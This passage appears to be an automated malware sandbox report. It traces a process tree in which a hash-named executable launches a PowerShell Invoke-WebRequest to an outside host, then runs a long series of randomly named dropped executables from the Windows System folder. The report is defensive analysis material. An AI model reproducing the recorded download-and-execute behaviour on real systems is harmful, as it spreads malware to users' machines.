PID 2168 wrote to memory of 1536	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	50

C:\Users\Admin\AppData\Local\Temp\7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
"C:\Users\Admin\AppData\Local\Temp\7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2480
- C:\Windows\System\CMbuBce.exe
  C:\Windows\System\CMbuBce.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\oucdIEY.exe
  C:\Windows\System\oucdIEY.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\ddwMTEo.exe
  C:\Windows\System\ddwMTEo.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\aFDfJND.exe
  C:\Windows\System\aFDfJND.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\nccvfRA.exe
  C:\Windows\System\nccvfRA.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\RZNgqTs.exe
  C:\Windows\System\RZNgqTs.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\qamwUZw.exe
  C:\Windows\System\qamwUZw.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\YvMwReT.exe
  C:\Windows\System\YvMwReT.exe
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Windows\System\LlakbFt.exe
  C:\Windows\System\LlakbFt.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\xwQNbEM.exe
  C:\Windows\System\xwQNbEM.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\GvUAVbg.exe
  C:\Windows\System\GvUAVbg.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\zUzaLjU.exe
  C:\Windows\System\zUzaLjU.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\zpHgbgV.exe
  C:\Windows\System\zpHgbgV.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\zvUqLui.exe
  C:\Windows\System\zvUqLui.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\OHLJkgH.exe
  C:\Windows\System\OHLJkgH.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\NcvXgFS.exe
  C:\Windows\System\NcvXgFS.exe
  2⤵
  - Executes dropped EXE
  PID:356
- C:\Windows\System\epNXNpw.exe
  C:\Windows\System\epNXNpw.exe
  2⤵
  - Executes dropped EXE
  PID:1888
- C:\Windows\System\imEdVgC.exe
  C:\Windows\System\imEdVgC.exe
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Windows\System\xCcypDj.exe
  C:\Windows\System\xCcypDj.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\zaxRkDE.exe
  C:\Windows\System\zaxRkDE.exe
  2⤵
  - Executes dropped EXE
  PID:2280
- C:\Windows\System\gfsWXNs.exe
  C:\Windows\System\gfsWXNs.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\vWhytSq.exe
  C:\Windows\System\vWhytSq.exe
  2⤵
  - Executes dropped EXE
  PID:268
- C:\Windows\System\Jmpkodc.exe
  C:\Windows\System\Jmpkodc.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\VKPOKWM.exe
  C:\Windows\System\VKPOKWM.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\pGZCaQc.exe
  C:\Windows\System\pGZCaQc.exe
  2⤵
  - Executes dropped EXE
  PID:624
- C:\Windows\System\Otjfvdt.exe
  C:\Windows\System\Otjfvdt.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\AKhWZFm.exe
  C:\Windows\System\AKhWZFm.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\gDuNqou.exe
  C:\Windows\System\gDuNqou.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\crAuEgi.exe
  C:\Windows\System\crAuEgi.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\NClRghU.exe
  C:\Windows\System\NClRghU.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\CoNmTlJ.exe
  C:\Windows\System\CoNmTlJ.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\sZokfkK.exe
  C:\Windows\System\sZokfkK.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\RXupVVt.exe
  C:\Windows\System\RXupVVt.exe
  2⤵
  - Executes dropped EXE
  PID:428
- C:\Windows\System\EnBVWvq.exe
  C:\Windows\System\EnBVWvq.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\SsEHqrb.exe
  C:\Windows\System\SsEHqrb.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\IbdQjzN.exe
  C:\Windows\System\IbdQjzN.exe
  2⤵
  - Executes dropped EXE
  PID:1244
- C:\Windows\System\Gusrols.exe
  C:\Windows\System\Gusrols.exe
  2⤵
  - Executes dropped EXE
  PID:1464
- C:\Windows\System\HTWBTjM.exe
  C:\Windows\System\HTWBTjM.exe
  2⤵
  - Executes dropped EXE
  PID:1336
- C:\Windows\System\RPboYer.exe
  C:\Windows\System\RPboYer.exe
  2⤵
  - Executes dropped EXE
  PID:1308
- C:\Windows\System\jpzpwSS.exe
  C:\Windows\System\jpzpwSS.exe
  2⤵
  - Executes dropped EXE
  PID:240
- C:\Windows\System\ReZHWJq.exe
  C:\Windows\System\ReZHWJq.exe
  2⤵
  - Executes dropped EXE
  PID:988
- C:\Windows\System\cPKyTzK.exe
  C:\Windows\System\cPKyTzK.exe
  2⤵
  - Executes dropped EXE
  PID:904
- C:\Windows\System\yFyrWjZ.exe
  C:\Windows\System\yFyrWjZ.exe
  2⤵
  - Executes dropped EXE
  PID:1112
- C:\Windows\System\nmLNPIB.exe
  C:\Windows\System\nmLNPIB.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\OFrSirP.exe
  C:\Windows\System\OFrSirP.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\JsTrllV.exe
  C:\Windows\System\JsTrllV.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\yZefshO.exe
  C:\Windows\System\yZefshO.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\NGikFzJ.exe
  C:\Windows\System\NGikFzJ.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\oJHJgMx.exe
  C:\Windows\System\oJHJgMx.exe
  2⤵
  - Executes dropped EXE
  PID:1256
- C:\Windows\System\iPHpTfz.exe
  C:\Windows\System\iPHpTfz.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\zzRuVoH.exe
  C:\Windows\System\zzRuVoH.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\ZPTlukA.exe
  C:\Windows\System\ZPTlukA.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\tOAFmZU.exe
  C:\Windows\System\tOAFmZU.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\cGFyCQD.exe
  C:\Windows\System\cGFyCQD.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\RekLmzU.exe
  C:\Windows\System\RekLmzU.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\wFrLyrv.exe
  C:\Windows\System\wFrLyrv.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\vXzjpzO.exe
  C:\Windows\System\vXzjpzO.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\ufjqbKf.exe
  C:\Windows\System\ufjqbKf.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\UgdeisD.exe
  C:\Windows\System\UgdeisD.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\kNqqzgQ.exe
  C:\Windows\System\kNqqzgQ.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\zkmEDAI.exe
  C:\Windows\System\zkmEDAI.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\hsVNAdn.exe
  C:\Windows\System\hsVNAdn.exe
  2⤵
  - Executes dropped EXE
  PID:3024
- C:\Windows\System\WAPrDHR.exe
  C:\Windows\System\WAPrDHR.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\EQKxiSG.exe
  C:\Windows\System\EQKxiSG.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\oWPnZND.exe
  C:\Windows\System\oWPnZND.exe
  2⤵
  PID:2196
- C:\Windows\System\JOuRmDM.exe
  C:\Windows\System\JOuRmDM.exe
  2⤵
  PID:336
- C:\Windows\System\HuKGDcH.exe
  C:\Windows\System\HuKGDcH.exe
  2⤵
  PID:764
- C:\Windows\System\uuOKBQG.exe
  C:\Windows\System\uuOKBQG.exe
  2⤵
  PID:1596
- C:\Windows\System\pagPSBq.exe
  C:\Windows\System\pagPSBq.exe
  2⤵
  PID:1504
- C:\Windows\System\cRKsxDU.exe
  C:\Windows\System\cRKsxDU.exe
  2⤵
  PID:1396
- C:\Windows\System\LELRCQV.exe
  C:\Windows\System\LELRCQV.exe
  2⤵
  PID:1552
- C:\Windows\System\ZMEFHSc.exe
  C:\Windows\System\ZMEFHSc.exe
  2⤵
  PID:1392
- C:\Windows\System\VJzqicG.exe
  C:\Windows\System\VJzqicG.exe
  2⤵
  PID:1932
- C:\Windows\System\lyRcFIV.exe
  C:\Windows\System\lyRcFIV.exe
  2⤵
  PID:2888
- C:\Windows\System\mJXBPbh.exe
  C:\Windows\System\mJXBPbh.exe
  2⤵
  PID:1092
- C:\Windows\System\bXMaXTA.exe
  C:\Windows\System\bXMaXTA.exe
  2⤵
  PID:2108
- C:\Windows\System\yDvVust.exe
  C:\Windows\System\yDvVust.exe
  2⤵
  PID:3020
- C:\Windows\System\stdrBDJ.exe
  C:\Windows\System\stdrBDJ.exe
  2⤵
  PID:2212
- C:\Windows\System\wVLCvam.exe
  C:\Windows\System\wVLCvam.exe
  2⤵
  PID:980
- C:\Windows\System\VYKMNbt.exe
  C:\Windows\System\VYKMNbt.exe
  2⤵
  PID:1788
- C:\Windows\System\dIJfuPD.exe
  C:\Windows\System\dIJfuPD.exe
  2⤵
  PID:352
- C:\Windows\System\hxbvImr.exe
  C:\Windows\System\hxbvImr.exe
  2⤵
  PID:852
- C:\Windows\System\HlwcBDh.exe
  C:\Windows\System\HlwcBDh.exe
  2⤵
  PID:1408
- C:\Windows\System\ljuaXRh.exe
  C:\Windows\System\ljuaXRh.exe
  2⤵
  PID:2184
- C:\Windows\System\nAwfHjq.exe
  C:\Windows\System\nAwfHjq.exe
  2⤵
  PID:1956
- C:\Windows\System\nYqGCTD.exe
  C:\Windows\System\nYqGCTD.exe
  2⤵
  PID:2972
- C:\Windows\System\TKnmhMM.exe
  C:\Windows\System\TKnmhMM.exe
  2⤵
  PID:1864
- C:\Windows\System\ETXFLFi.exe
  C:\Windows\System\ETXFLFi.exe
  2⤵
  PID:1668
- C:\Windows\System\ooDtEUy.exe
  C:\Windows\System\ooDtEUy.exe
  2⤵
  PID:1996
- C:\Windows\System\BXapXUU.exe
  C:\Windows\System\BXapXUU.exe
  2⤵
  PID:1524
- C:\Windows\System\hlVRttZ.exe
  C:\Windows\System\hlVRttZ.exe
  2⤵
  PID:2648
- C:\Windows\System\aZZGWhH.exe
  C:\Windows\System\aZZGWhH.exe
  2⤵
  PID:2420
- C:\Windows\System\gtJdtao.exe
  C:\Windows\System\gtJdtao.exe
  2⤵
  PID:2428
- C:\Windows\System\rdPHUjI.exe
  C:\Windows\System\rdPHUjI.exe
  2⤵
  PID:1508
- C:\Windows\System\NMVqAEF.exe
  C:\Windows\System\NMVqAEF.exe
  2⤵
  PID:2760
- C:\Windows\System\wseaWcR.exe
  C:\Windows\System\wseaWcR.exe
  2⤵
  PID:1924
- C:\Windows\System\bVIftUC.exe
  C:\Windows\System\bVIftUC.exe
  2⤵
  PID:1892
- C:\Windows\System\zILzOQC.exe
  C:\Windows\System\zILzOQC.exe
  2⤵
  PID:688
- C:\Windows\System\hDBDUyu.exe
  C:\Windows\System\hDBDUyu.exe
  2⤵
  PID:360
- C:\Windows\System\EZaUngn.exe
  C:\Windows\System\EZaUngn.exe
  2⤵
  PID:2368
- C:\Windows\System\zAqPrZI.exe
  C:\Windows\System\zAqPrZI.exe
  2⤵
  PID:2364
- C:\Windows\System\BcpuMBE.exe
  C:\Windows\System\BcpuMBE.exe
  2⤵
  PID:1900
- C:\Windows\System\DntIYEe.exe
  C:\Windows\System\DntIYEe.exe
  2⤵
  PID:2576
- C:\Windows\System\RACgFRh.exe
  C:\Windows\System\RACgFRh.exe
  2⤵
  PID:2068
- C:\Windows\System\VNWhUPo.exe
  C:\Windows\System\VNWhUPo.exe
  2⤵
  PID:1004
- C:\Windows\System\MYdMYUC.exe
  C:\Windows\System\MYdMYUC.exe
  2⤵
  PID:1420
- C:\Windows\System\YLunLMh.exe
  C:\Windows\System\YLunLMh.exe
  2⤵
  PID:2924
- C:\Windows\System\aTAlLkJ.exe
  C:\Windows\System\aTAlLkJ.exe
  2⤵
  PID:3076
- C:\Windows\System\dMPhTZI.exe
  C:\Windows\System\dMPhTZI.exe
  2⤵
  PID:3092
- C:\Windows\System\EIoLKVx.exe
  C:\Windows\System\EIoLKVx.exe
  2⤵
  PID:3116
- C:\Windows\System\ckYxglU.exe
  C:\Windows\System\ckYxglU.exe
  2⤵
  PID:3132
- C:\Windows\System\XVmuHCe.exe
  C:\Windows\System\XVmuHCe.exe
  2⤵
  PID:3152
- C:\Windows\System\DVVmqDm.exe
  C:\Windows\System\DVVmqDm.exe
  2⤵
  PID:3172
- C:\Windows\System\SkFFYfh.exe
  C:\Windows\System\SkFFYfh.exe
  2⤵
  PID:3196
- C:\Windows\System\dgdqrWZ.exe
  C:\Windows\System\dgdqrWZ.exe
  2⤵
  PID:3216
- C:\Windows\System\jEeTHyt.exe
  C:\Windows\System\jEeTHyt.exe
  2⤵
  PID:3236
- C:\Windows\System\WmRayPp.exe
  C:\Windows\System\WmRayPp.exe
  2⤵
  PID:3256
- C:\Windows\System\rYYbQus.exe
  C:\Windows\System\rYYbQus.exe
  2⤵
  PID:3276
- C:\Windows\System\moHxJWM.exe
  C:\Windows\System\moHxJWM.exe
  2⤵
  PID:3296
- C:\Windows\System\YLXUosO.exe
  C:\Windows\System\YLXUosO.exe
  2⤵
  PID:3320
- C:\Windows\System\UJRpuDh.exe
  C:\Windows\System\UJRpuDh.exe
  2⤵
  PID:3340
- C:\Windows\System\gpwQzCZ.exe
  C:\Windows\System\gpwQzCZ.exe
  2⤵
  PID:3360
- C:\Windows\System\MDaOakB.exe
  C:\Windows\System\MDaOakB.exe
  2⤵
  PID:3380
- C:\Windows\System\AdcWxFT.exe
  C:\Windows\System\AdcWxFT.exe
  2⤵
  PID:3400
- C:\Windows\System\rHFWOQp.exe
  C:\Windows\System\rHFWOQp.exe
  2⤵
  PID:3420
- C:\Windows\System\NSzeQSk.exe
  C:\Windows\System\NSzeQSk.exe
  2⤵
  PID:3440
- C:\Windows\System\BIhkhnk.exe
  C:\Windows\System\BIhkhnk.exe
  2⤵
  PID:3460
- C:\Windows\System\DCRgRiz.exe
  C:\Windows\System\DCRgRiz.exe
  2⤵
  PID:3480
- C:\Windows\System\dlAuSmw.exe
  C:\Windows\System\dlAuSmw.exe
  2⤵
  PID:3500
- C:\Windows\System\ExYRPvZ.exe
  C:\Windows\System\ExYRPvZ.exe
  2⤵
  PID:3520
- C:\Windows\System\jrnVDZa.exe
  C:\Windows\System\jrnVDZa.exe
  2⤵
  PID:3540
- C:\Windows\System\ZkJQuns.exe
  C:\Windows\System\ZkJQuns.exe
  2⤵
  PID:3560
- C:\Windows\System\ZvHHACV.exe
  C:\Windows\System\ZvHHACV.exe
  2⤵
  PID:3580
- C:\Windows\System\ieIDbnz.exe
  C:\Windows\System\ieIDbnz.exe
  2⤵
  PID:3600
- C:\Windows\System\rzFdqiC.exe
  C:\Windows\System\rzFdqiC.exe
  2⤵
  PID:3620
- C:\Windows\System\HgmmBHT.exe
  C:\Windows\System\HgmmBHT.exe
  2⤵
  PID:3640
- C:\Windows\System\ZzozDue.exe
  C:\Windows\System\ZzozDue.exe
  2⤵
  PID:3660
- C:\Windows\System\ESJDxhr.exe
  C:\Windows\System\ESJDxhr.exe
  2⤵
  PID:3680
- C:\Windows\System\afgdkVT.exe
  C:\Windows\System\afgdkVT.exe
  2⤵
  PID:3700
- C:\Windows\System\neOAmTi.exe
  C:\Windows\System\neOAmTi.exe
  2⤵
  PID:3720
- C:\Windows\System\tcCeRgu.exe
  C:\Windows\System\tcCeRgu.exe
  2⤵
  PID:3740
- C:\Windows\System\ogfapze.exe
  C:\Windows\System\ogfapze.exe
  2⤵
  PID:3760
- C:\Windows\System\OZrBMMI.exe
  C:\Windows\System\OZrBMMI.exe
  2⤵
  PID:3780
- C:\Windows\System\njmlvrw.exe
  C:\Windows\System\njmlvrw.exe
  2⤵
  PID:3800
- C:\Windows\System\bJiWYfY.exe
  C:\Windows\System\bJiWYfY.exe
  2⤵
  PID:3820
- C:\Windows\System\ZwdNnUF.exe
  C:\Windows\System\ZwdNnUF.exe
  2⤵
  PID:3840
- C:\Windows\System\mwAjMNH.exe
  C:\Windows\System\mwAjMNH.exe
  2⤵
  PID:3860
- C:\Windows\System\bAsBYJx.exe
  C:\Windows\System\bAsBYJx.exe
  2⤵
  PID:3880
- C:\Windows\System\robMPtJ.exe
  C:\Windows\System\robMPtJ.exe
  2⤵
  PID:3900
- C:\Windows\System\qaYxFii.exe
  C:\Windows\System\qaYxFii.exe
  2⤵
  PID:3920
- C:\Windows\System\WoWCqTG.exe
  C:\Windows\System\WoWCqTG.exe
  2⤵
  PID:3940
- C:\Windows\System\MCOgPsm.exe
  C:\Windows\System\MCOgPsm.exe
  2⤵
  PID:3960
- C:\Windows\System\XANXXbv.exe
  C:\Windows\System\XANXXbv.exe
  2⤵
  PID:3980
- C:\Windows\System\yMIPydo.exe
  C:\Windows\System\yMIPydo.exe
  2⤵
  PID:4000
- C:\Windows\System\NkkRZie.exe
  C:\Windows\System\NkkRZie.exe
  2⤵
  PID:4020
- C:\Windows\System\bDstbub.exe
  C:\Windows\System\bDstbub.exe
  2⤵
  PID:4040
- C:\Windows\System\RekJRht.exe
  C:\Windows\System\RekJRht.exe
  2⤵
  PID:4060
- C:\Windows\System\uyyPnQr.exe
  C:\Windows\System\uyyPnQr.exe
  2⤵
  PID:4080
- C:\Windows\System\oQtRmlv.exe
  C:\Windows\System\oQtRmlv.exe
  2⤵
  PID:3048
- C:\Windows\System\GaKVUVM.exe
  C:\Windows\System\GaKVUVM.exe
  2⤵
  PID:2904
- C:\Windows\System\sdvPzTN.exe
  C:\Windows\System\sdvPzTN.exe
  2⤵
  PID:2192
- C:\Windows\System\usUZcrP.exe
  C:\Windows\System\usUZcrP.exe
  2⤵
  PID:2928
- C:\Windows\System\puljyJi.exe
  C:\Windows\System\puljyJi.exe
  2⤵
  PID:2860
- C:\Windows\System\DEcyioU.exe
  C:\Windows\System\DEcyioU.exe
  2⤵
  PID:2768
- C:\Windows\System\uEeHpLZ.exe
  C:\Windows\System\uEeHpLZ.exe
  2⤵
  PID:2616
- C:\Windows\System\zdxiKam.exe
  C:\Windows\System\zdxiKam.exe
  2⤵
  PID:1852
- C:\Windows\System\ydbzzes.exe
  C:\Windows\System\ydbzzes.exe
  2⤵
  PID:2132
- C:\Windows\System\AdnjVID.exe
  C:\Windows\System\AdnjVID.exe
  2⤵
  PID:2912
- C:\Windows\System\XujNzxA.exe
  C:\Windows\System\XujNzxA.exe
  2⤵
  PID:676
- C:\Windows\System\NoCLhRm.exe
  C:\Windows\System\NoCLhRm.exe
  2⤵
  PID:1240
- C:\Windows\System\YYdwkOh.exe
  C:\Windows\System\YYdwkOh.exe
  2⤵
  PID:1988
- C:\Windows\System\rFiKkUp.exe
  C:\Windows\System\rFiKkUp.exe
  2⤵
  PID:108
- C:\Windows\System\yjoArtw.exe
  C:\Windows\System\yjoArtw.exe
  2⤵
  PID:3100
- C:\Windows\System\OtKtBlE.exe
  C:\Windows\System\OtKtBlE.exe
  2⤵
  PID:3088
- C:\Windows\System\KEbmiMl.exe
  C:\Windows\System\KEbmiMl.exe
  2⤵
  PID:3128
- C:\Windows\System\wsAXceH.exe
  C:\Windows\System\wsAXceH.exe
  2⤵
  PID:3164
- C:\Windows\System\WzgCZRD.exe
  C:\Windows\System\WzgCZRD.exe
  2⤵
  PID:3232
- C:\Windows\System\jguptlD.exe
  C:\Windows\System\jguptlD.exe
  2⤵
  PID:3272
- C:\Windows\System\CIESxqk.exe
  C:\Windows\System\CIESxqk.exe
  2⤵
  PID:3288
- C:\Windows\System\FGGLFEA.exe
  C:\Windows\System\FGGLFEA.exe
  2⤵
  PID:3348
- C:\Windows\System\lqNLBOC.exe
  C:\Windows\System\lqNLBOC.exe
  2⤵
  PID:3356
- C:\Windows\System\CHIXAnv.exe
  C:\Windows\System\CHIXAnv.exe
  2⤵
  PID:3376
- C:\Windows\System\WgWUiIs.exe
  C:\Windows\System\WgWUiIs.exe
  2⤵
  PID:3408
- C:\Windows\System\MEpRSSK.exe
  C:\Windows\System\MEpRSSK.exe
  2⤵
  PID:3476
- C:\Windows\System\xzAVzVk.exe
  C:\Windows\System\xzAVzVk.exe
  2⤵
  PID:3512
- C:\Windows\System\bGfGKvD.exe
  C:\Windows\System\bGfGKvD.exe
  2⤵
  PID:3528
- C:\Windows\System\mpfFulM.exe
  C:\Windows\System\mpfFulM.exe
  2⤵
  PID:3536
- C:\Windows\System\kWjHFFQ.exe
  C:\Windows\System\kWjHFFQ.exe
  2⤵
  PID:3576
- C:\Windows\System\NyoLgdw.exe
  C:\Windows\System\NyoLgdw.exe
  2⤵
  PID:3612
- C:\Windows\System\FSSddrE.exe
  C:\Windows\System\FSSddrE.exe
  2⤵
  PID:3668
- C:\Windows\System\LRwEYGZ.exe
  C:\Windows\System\LRwEYGZ.exe
  2⤵
  PID:3708
- C:\Windows\System\QTuOXzh.exe
  C:\Windows\System\QTuOXzh.exe
  2⤵
  PID:3752
- C:\Windows\System\XShHNur.exe
  C:\Windows\System\XShHNur.exe
  2⤵
  PID:3732
- C:\Windows\System\JfjGLRG.exe
  C:\Windows\System\JfjGLRG.exe
  2⤵
  PID:3796
- C:\Windows\System\obbXmbi.exe
  C:\Windows\System\obbXmbi.exe
  2⤵
  PID:3776
- C:\Windows\System\YzJbiZo.exe
  C:\Windows\System\YzJbiZo.exe
  2⤵
  PID:3868
- C:\Windows\System\WLYrWAV.exe
  C:\Windows\System\WLYrWAV.exe
  2⤵
  PID:3916
- C:\Windows\System\EFyMKBh.exe
  C:\Windows\System\EFyMKBh.exe
  2⤵
  PID:3956
- C:\Windows\System\HzLvfQV.exe
  C:\Windows\System\HzLvfQV.exe
  2⤵
  PID:3996
- C:\Windows\System\AHXAzZq.exe
  C:\Windows\System\AHXAzZq.exe
  2⤵
  PID:3936
- C:\Windows\System\aiKalUU.exe
  C:\Windows\System\aiKalUU.exe
  2⤵
  PID:4072
- C:\Windows\System\oGMyCca.exe
  C:\Windows\System\oGMyCca.exe
  2⤵
  PID:3976
- C:\Windows\System\NkcCFzS.exe
  C:\Windows\System\NkcCFzS.exe
  2⤵
  PID:2996
- C:\Windows\System\eMEpCOi.exe
  C:\Windows\System\eMEpCOi.exe
  2⤵
  PID:4088
- C:\Windows\System\fhLfHmL.exe
  C:\Windows\System\fhLfHmL.exe
  2⤵
  PID:2732
- C:\Windows\System\oTJcufC.exe
  C:\Windows\System\oTJcufC.exe
  2⤵
  PID:1460
- C:\Windows\System\DxIjLdc.exe
  C:\Windows\System\DxIjLdc.exe
  2⤵
  PID:1496
- C:\Windows\System\apODwbI.exe
  C:\Windows\System\apODwbI.exe
  2⤵
  PID:1928
- C:\Windows\System\CjfvtLz.exe
  C:\Windows\System\CjfvtLz.exe
  2⤵
  PID:948
- C:\Windows\System\nxBESQL.exe
  C:\Windows\System\nxBESQL.exe
  2⤵
  PID:2008
- C:\Windows\System\TZiBUHu.exe
  C:\Windows\System\TZiBUHu.exe
  2⤵
  PID:952
- C:\Windows\System\pKWWfZg.exe
  C:\Windows\System\pKWWfZg.exe
  2⤵
  PID:3160
- C:\Windows\System\tPghxxV.exe
  C:\Windows\System\tPghxxV.exe
  2⤵
  PID:3268
- C:\Windows\System\AaylpEd.exe
  C:\Windows\System\AaylpEd.exe
  2⤵
  PID:3148
- C:\Windows\System\wKBtalC.exe
  C:\Windows\System\wKBtalC.exe
  2⤵
  PID:3308
- C:\Windows\System\ppcwDEy.exe
  C:\Windows\System\ppcwDEy.exe
  2⤵
  PID:3396
- C:\Windows\System\JutSkxf.exe
  C:\Windows\System\JutSkxf.exe
  2⤵
  PID:3336
- C:\Windows\System\UJlVKaF.exe
  C:\Windows\System\UJlVKaF.exe
  2⤵
  PID:3436
- C:\Windows\System\GVGgdPf.exe
  C:\Windows\System\GVGgdPf.exe
  2⤵
  PID:3456
- C:\Windows\System\BCjytxe.exe
  C:\Windows\System\BCjytxe.exe
  2⤵
  PID:3588
- C:\Windows\System\XHFodFk.exe
  C:\Windows\System\XHFodFk.exe
  2⤵
  PID:3628
- C:\Windows\System\bwNNOIg.exe
  C:\Windows\System\bwNNOIg.exe
  2⤵
  PID:3716
- C:\Windows\System\WuaGKKj.exe
  C:\Windows\System\WuaGKKj.exe
  2⤵
  PID:3756
- C:\Windows\System\Jexfquw.exe
  C:\Windows\System\Jexfquw.exe
  2⤵
  PID:3816
- C:\Windows\System\JOOFLIQ.exe
  C:\Windows\System\JOOFLIQ.exe
  2⤵
  PID:3896
- C:\Windows\System\UEjbXfJ.exe
  C:\Windows\System\UEjbXfJ.exe
  2⤵
  PID:3928
- C:\Windows\System\sncoDme.exe
  C:\Windows\System\sncoDme.exe
  2⤵
  PID:3932
- C:\Windows\System\RfeDCYn.exe
  C:\Windows\System\RfeDCYn.exe
  2⤵
  PID:2656
- C:\Windows\System\WcFrvyv.exe
  C:\Windows\System\WcFrvyv.exe
  2⤵
  PID:4056
- C:\Windows\System\UAGQujb.exe
  C:\Windows\System\UAGQujb.exe
  2⤵
  PID:652
- C:\Windows\System\ccpACHE.exe
  C:\Windows\System\ccpACHE.exe
  2⤵
  PID:2508
- C:\Windows\System\pJPDIpj.exe
  C:\Windows\System\pJPDIpj.exe
  2⤵
  PID:4012
- C:\Windows\System\mXpCtSc.exe
  C:\Windows\System\mXpCtSc.exe
  2⤵
  PID:1884
- C:\Windows\System\cPniZUb.exe
  C:\Windows\System\cPniZUb.exe
  2⤵
  PID:1036
- C:\Windows\System\JZOkltr.exe
  C:\Windows\System\JZOkltr.exe
  2⤵
  PID:2952
- C:\Windows\System\VVNNjyH.exe
  C:\Windows\System\VVNNjyH.exe
  2⤵
  PID:3188
- C:\Windows\System\ENpEkpy.exe
  C:\Windows\System\ENpEkpy.exe
  2⤵
  PID:3284
- C:\Windows\System\znoGxcR.exe
  C:\Windows\System\znoGxcR.exe
  2⤵
  PID:3432
- C:\Windows\System\TFKIWmQ.exe
  C:\Windows\System\TFKIWmQ.exe
  2⤵
  PID:3328
- C:\Windows\System\CdAppnG.exe
  C:\Windows\System\CdAppnG.exe
  2⤵
  PID:3548
- C:\Windows\System\ktcoCWa.exe
  C:\Windows\System\ktcoCWa.exe
  2⤵
  PID:3492
- C:\Windows\System\VvGlJLR.exe
  C:\Windows\System\VvGlJLR.exe
  2⤵
  PID:3688
- C:\Windows\System\jHlXOvv.exe
  C:\Windows\System\jHlXOvv.exe
  2⤵
  PID:3656
- C:\Windows\System\upvxYaG.exe
  C:\Windows\System\upvxYaG.exe
  2⤵
  PID:4036
- C:\Windows\System\mdXZEyU.exe
  C:\Windows\System\mdXZEyU.exe
  2⤵
  PID:3836
- C:\Windows\System\oTpsFzI.exe
  C:\Windows\System\oTpsFzI.exe
  2⤵
  PID:3892
- C:\Windows\System\qNNVYGm.exe
  C:\Windows\System\qNNVYGm.exe
  2⤵
  PID:4076
- C:\Windows\System\PlmzoNf.exe
  C:\Windows\System\PlmzoNf.exe
  2⤵
  PID:2916
- C:\Windows\System\BTbIzjp.exe
  C:\Windows\System\BTbIzjp.exe
  2⤵
  PID:3648
- C:\Windows\System\VyJktyC.exe
  C:\Windows\System\VyJktyC.exe
  2⤵
  PID:3812
- C:\Windows\System\qSWJeIb.exe
  C:\Windows\System\qSWJeIb.exe
  2⤵
  PID:2712
- C:\Windows\System\nAzfrpk.exe
  C:\Windows\System\nAzfrpk.exe
  2⤵
  PID:1580
- C:\Windows\System\UMRcKoK.exe
  C:\Windows\System\UMRcKoK.exe
  2⤵
  PID:3192
- C:\Windows\System\NeKeTmH.exe
  C:\Windows\System\NeKeTmH.exe
  2⤵
  PID:4104
- C:\Windows\System\BrcKFIN.exe
  C:\Windows\System\BrcKFIN.exe
  2⤵
  PID:4124
